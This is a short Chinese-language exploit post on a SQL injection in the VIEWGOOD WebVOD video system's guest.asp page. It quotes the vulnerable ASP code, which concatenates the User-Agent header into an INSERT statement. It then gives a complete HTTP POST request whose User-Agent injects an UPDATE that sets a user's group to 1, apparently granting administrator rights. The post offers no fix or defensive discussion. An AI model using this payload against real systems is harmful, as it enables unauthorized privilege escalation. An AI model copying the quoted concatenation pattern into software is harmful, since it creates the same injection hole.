远古视频点播系统的一个注入漏洞
作者:toby57
VIEWGOOD VOD视频点播系统 (WebVOD)
漏洞产生于文件/webmedia/oemui/user/guest.asp,访问这个页面需要注册
相关代码:
- szAgent = Request.ServerVariables("HTTP_USER_AGENT")
- aTmpInfo = Split(szAgent, " (", -1, 1)
- aAgentInfo = Split(aTmpInfo(1), "; ", -1, 1)
- szBrowser = aAgentInfo(1)
- if Right(aAgentInfo(2), 1) = ")" or Right(aAgentInfo(2), 1) = ";" then
- szOS = Left(aAgentInfo(2), Len(aAgentInfo(2)) - 1)
- else
- szOS = aAgentInfo(2)
- end if
- szClientIP = Request.ServerVariables("REMOTE_ADDR")
- szSQL = "INSERT INTO GuestBook(CusTomer_ID,cont,ipaddr,ostype,browser,crdt) VALUES(" & iUserID & ",'" & szMemo & "','" & szClientIP & "','" & szOS & "','" & szBrowser & "','" & now &"')"
- con.Execute szSQL
HTTP_USER_AGENT我们可以自己构造
- POST /webmedia/oemui/user/guest.asp HTTP/1.1
- Accept: image/gif, image/x-xbitmap, image/jpeg,
- Referer: [url]http://you.are.fucked.cn/webmedia/oemui/user/guest.asp[/url]
- Accept-Language: zh-cn
- Content-Type: application/x-www-form-urlencoded
- Accept-Encoding: gzip, deflate
- User-Agent: Mozilla/4.0 (compatible; MSIE 6.0','');update Customer_Group set Group_ID=1 where Customer_ID=9--; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
- Host: you.are.fucked.cn
- Content-Length: 75
- Connection: Keep-Alive
- Cache-Control: no-cache
- Cookie: ASPSESSIONIDCSACDTQQ=CGGFJOGANCPNAIAIABABHMHA;
- memo=aaaa&submit=%B7%A2%CB%CD%D3%C3%BB%A7%C1%F4%D1%D4%D0%C5%CF%A2+%3E%3E%3E